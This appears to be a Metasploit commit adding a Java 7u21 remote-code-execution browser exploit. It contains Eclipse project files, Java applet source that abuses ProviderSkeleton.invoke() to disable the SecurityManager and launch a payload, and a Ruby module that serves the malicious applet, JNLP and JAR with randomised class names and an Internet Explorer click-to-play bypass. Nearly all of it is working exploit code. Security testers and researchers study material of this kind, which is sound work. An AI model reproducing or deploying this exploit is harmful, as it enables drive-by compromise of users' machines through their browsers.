added Java7u21 RCE module
Click2Play bypass doesn't seem to work anymore.bug/bundler_fix
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<?xml version="1.0" encoding="UTF-8"?>
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<classpath>
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<classpathentry kind="src" path="src"/>
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<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/jdk1.7.0_21"/>
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<classpathentry kind="lib" path="C:/dev/metasploit.jar"/>
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<classpathentry kind="output" path="bin"/>
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</classpath>
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<?xml version="1.0" encoding="UTF-8"?>
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<projectDescription>
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<name>msf_issue61</name>
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<comment></comment>
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<projects>
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</projects>
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<buildSpec>
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<buildCommand>
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<name>org.eclipse.jdt.core.javabuilder</name>
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<arguments>
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</arguments>
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</buildCommand>
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</buildSpec>
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<natures>
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<nature>org.eclipse.jdt.core.javanature</nature>
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</natures>
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</projectDescription>
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11
external/source/exploits/provider_skeleton/.settings/org.eclipse.jdt.core.prefs
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external/source/exploits/provider_skeleton/.settings/org.eclipse.jdt.core.prefs
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eclipse.preferences.version=1
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org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
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org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.7
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org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
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org.eclipse.jdt.core.compiler.compliance=1.7
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org.eclipse.jdt.core.compiler.debug.lineNumber=generate
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org.eclipse.jdt.core.compiler.debug.localVariable=generate
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org.eclipse.jdt.core.compiler.debug.sourceFile=generate
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org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
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org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
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org.eclipse.jdt.core.compiler.source=1.7
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BIN
external/source/exploits/provider_skeleton/bin/DisableSecurityManagerAction.class
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external/source/exploits/provider_skeleton/bin/DisableSecurityManagerAction.class
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external/source/exploits/provider_skeleton/src/DisableSecurityManagerAction.java
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external/source/exploits/provider_skeleton/src/DisableSecurityManagerAction.java
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import java.security.AccessController;
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import java.security.PrivilegedActionException;
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import java.security.PrivilegedExceptionAction;
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/**
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* Class for disabling the SecurityManager.
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* Based on POC of Security Explorations' Issue 61.
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* @author mk
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*
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*/
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public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
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public DisableSecurityManagerAction() {
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try {
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AccessController.doPrivileged(this);
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} catch (PrivilegedActionException e) {
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// TODO Auto-generated catch block
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e.printStackTrace();
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}
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}
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public Object run() throws Exception {
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System.setSecurityManager(null);
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return new Object();
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}
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}
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import com.sun.tracing.Provider;
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/**
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* Empty interface to get an Provider instance.
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* Based on POC of Security Explorations' Issue 61.
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* @author mk
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*
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*/
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public interface ExpProvider extends Provider {
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}
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import java.applet.Applet;
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import java.io.ByteArrayOutputStream;
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import java.io.InputStream;
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import java.lang.invoke.MethodHandle;
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import java.lang.invoke.MethodHandles;
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import java.lang.invoke.MethodType;
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import java.lang.reflect.InvocationHandler;
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import java.lang.reflect.Method;
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import java.lang.reflect.Proxy;
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import metasploit.Payload;
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import com.sun.tracing.Provider;
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import com.sun.tracing.ProviderFactory;
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/**
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* Class exploiting the vulnerability in the ProviderSkeleton class. Based on
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* POC of Security Explorations' Issue 61.
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*
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* @author mk
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*
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*/
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public class Exploit extends Applet {
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InvocationHandler invoc = null;
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MethodHandles.Lookup look;
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public Exploit() {
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try {
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ByteArrayOutputStream classInputStream = new ByteArrayOutputStream();
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byte[] classBuffer = new byte[8192];
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int classLength;
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InputStream inputStream = getClass().getResourceAsStream(
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"DisableSecurityManagerAction.class");
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while ((classLength = inputStream.read(classBuffer)) > 0)
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classInputStream.write(classBuffer, 0, classLength);
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classBuffer = classInputStream.toByteArray();
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ProviderFactory fac = ProviderFactory.getDefaultFactory();
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Provider p = fac.createProvider(ExpProvider.class);
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invoc = Proxy.getInvocationHandler(p);
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Class handle = java.lang.invoke.MethodHandles.class;
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Method m = handle.getMethod("lookup", new Class[0]);
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look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);
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Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
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Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
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Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
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MethodHandle enterMethod = getMethod(context, "enter", context,
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new Class[0], true);
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Class argTypes[] = new Class[1];
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argTypes[0] = ClassLoader.class;
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MethodHandle createClassLoader = getMethod(context,
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"createClassLoader", genClassLoader, argTypes, false);
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argTypes = new Class[2];
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argTypes[0] = Class.forName("java.lang.String");
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argTypes[1] = (new byte[0]).getClass();
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MethodHandle defineClass = getMethod(defClassLoader, "defineClass",
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java.lang.Class.class, argTypes, false);
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Object enterContext = enterMethod.invoke();
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Object cLoader = createClassLoader.invoke(enterContext, null);
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Class disabler = (Class) defineClass.invoke(cLoader,
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"DisableSecurityManagerAction", classBuffer);
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disabler.newInstance();
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Payload.main(null);
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} catch (Throwable e) {
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}
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}
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private Class loadClassUnderPrivContext(String className) throws Throwable {
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Class ret = null;
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Class theClass = java.lang.Class.class;
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Class argTypes[] = new Class[1];
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argTypes[0] = String.class;
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Method m = theClass.getMethod("forName", argTypes);
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Object argObjects[] = new Object[1];
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argObjects[0] = className;
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ret = (Class) invoc.invoke(null, m, argObjects);
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return ret;
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}
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private MethodHandle getMethod(Class c, String methodName,
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Class returnType, Class argTypes[], boolean isStaticMethod)
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throws NoSuchMethodException, IllegalAccessException {
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MethodHandle ret = null;
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MethodType methodType = MethodType.methodType(returnType, argTypes);
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if (isStaticMethod)
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ret = look.findStatic(c, methodName, methodType);
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else
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ret = look.findVirtual(c, methodName, methodType);
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return ret;
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}
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}
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',
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'Description' => %q{
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This module abuses the insecure invoke() method of the ProviderSkeleton class that
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allows to call arbitrary static methods with user supplied arguments. The vulnerability
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affects Java version 7u21 and earlier. This exploit bypasses click-to-play on Internet Explorer
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and throws a specially crafted JNLP file. This bypass is applicable mainly to IE, where Java
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Web Start can be launched automatically through the ActiveX control. Otherwise, the
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applet is launched without click-to-play bypass.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisor and also POC
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'Matthias Kaiser' # Metasploit module
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],
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'References' =>
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[
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[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],
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[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]
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],
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'Platform' => [ 'java', 'win', 'osx', 'linux' ],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Platform' => ['java'],
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'Arch' => ARCH_JAVA,
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}
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],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 18 2013'
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))
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end
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def setup
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path = File.join(Msf::Config.install_root, "data", "exploits", "provider_skeleton", "Exploit.class")
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@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "provider_skeleton", "ExpProvider.class")
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@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "provider_skeleton", "DisableSecurityManagerAction.class")
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@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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@exploit_class_name = rand_text_alpha("Exploit".length)
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@exploit_class.gsub!("Exploit", @exploit_class_name)
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@jnlp_name = rand_text_alpha(8)
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super
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end
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def jnlp_file
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jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"
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jnlp = %Q|
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<?xml version="1.0" encoding="utf-8"?>
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<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">
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<information>
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<title>Applet Test JNLP</title>
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<vendor>#{rand_text_alpha(8)}</vendor>
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<description>#{rand_text_alpha(8)}</description>
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<offline-allowed/>
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</information>
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<resources>
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<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />
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<jar href="#{rand_text_alpha(8)}.jar" main="true" />
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</resources>
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<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">
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<param name="__applet_ssv_validated" value="true"></param>
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</applet-desc>
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<update check="background"/>
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</jnlp>
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return jnlp
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jnlp$/i
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send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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jar.add_file("ExpProvider.class", @provider_class)
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jar.add_file("DisableSecurityManagerAction.class", @action_class)
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metasploit_str = rand_text_alpha("metasploit".length)
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payload_str = rand_text_alpha("payload".length)
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jar.entries.each { |entry|
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entry.name.gsub!("metasploit", metasploit_str)
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entry.name.gsub!("Payload", payload_str)
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entry.data = entry.data.gsub("metasploit", metasploit_str)
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entry.data = entry.data.gsub("Payload", payload_str)
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}
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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when /\/$/
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payload = regenerate_payload(cli)
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if not payload
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource() + '/', '')
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end
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end
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def generate_html
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jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"
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# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass
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# Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass
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html = %Q|
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<html>
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<body>
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<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>
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<param name="app" value="#{jnlp_uri}">
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<param name="back" value="true">
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<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
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</object>
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</body>
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</html>
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return html
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end
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end
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